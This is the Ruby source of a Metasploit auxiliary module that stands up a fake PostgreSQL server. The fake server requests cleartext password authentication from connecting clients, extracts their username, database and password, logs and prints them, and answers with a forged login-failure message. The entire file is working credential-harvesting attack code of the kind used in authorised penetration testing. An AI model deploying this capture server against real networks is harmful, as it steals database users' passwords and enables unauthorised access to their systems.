136 lines
3.9 KiB
Ruby
136 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::TcpServer
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Authentication Capture: PostgreSQL',
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'Description' => %q{
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This module provides a fake PostgreSQL service that is designed to
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capture clear-text authentication credentials.},
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'Author' => 'Dhiru Kholia <dhiru[at]openwall.com>',
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'License' => MSF_LICENSE,
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'Actions' => [ [ 'Capture' ] ],
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'PassiveActions' => [ 'Capture' ],
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'DefaultAction' => 'Capture'
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)
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5432 ]),
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], self.class)
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end
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# This module is based on MySQL capture module by Patrik Karlsson.
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# Reference: http://www.postgresql.org/docs/9.2/static/protocol-message-formats.html
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def setup
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super
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@state = {}
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end
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def run
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print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
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exploit()
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::UNTRIED,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def on_client_connect(c)
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@state[c] = {
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:name => "#{c.peerhost}:#{c.peerport}",
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:ip => c.peerhost,
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:port => c.peerport,
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}
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@state[c]["status"] = :init
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end
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def on_client_data(c)
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data = c.get_once
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return if not data
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length = data.slice(0, 4).unpack("N")[0]
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if length == 8 and @state[c]["status"] == :init
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# SSL request
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c.put 'N'
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@state[c]["status"] = :send_auth_type
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elsif @state[c]["status"] == :send_auth_type
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# Startup message
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data.slice!(0, 4).unpack("N")[0] # skip over length
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data.slice!(0, 4).unpack("N")[0] # skip over protocol
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sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack("C*")
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c.put sdata
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data.slice!(0, 5) # skip over "user\x00"
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@state[c][:username] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
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data.slice!(0, 9) # skip over "database\x00"
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@state[c][:database] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
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@state[c]["status"] = :pwn
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elsif @state[c]["status"] == :pwn and data[0] == 'p'
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# Password message
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data.slice!(0, 5).unpack("N")[0] # skip over length
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@state[c][:password] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0]
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report_cred(
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ip: c.peerhost,
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port: datastore['SRVPORT'],
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service_name: 'psql_client',
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user: @state[c][:username],
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password: @state[c][:password],
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proof: @state[c][:database]
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)
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print_status("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}")
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# send failure message
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sdata = [ 0x45, 97 - 8 + @state[c][:username].length].pack("CN")
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sdata << "SFATAL"
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sdata << "\x00"
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sdata << "C28P01"
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sdata << "\x00"
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sdata << "Mpassword authentication failed for user \"#{@state[c][:username]}\""
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sdata << "\x00"
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sdata << "Fauth.c"
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sdata << "\x00"
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sdata << "L302"
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sdata << "\x00"
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sdata << "Rauth_failed"
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sdata << "\x00\x00"
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c.put sdata
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c.close
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end
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end
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def on_client_close(c)
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@state.delete(c)
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end
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end
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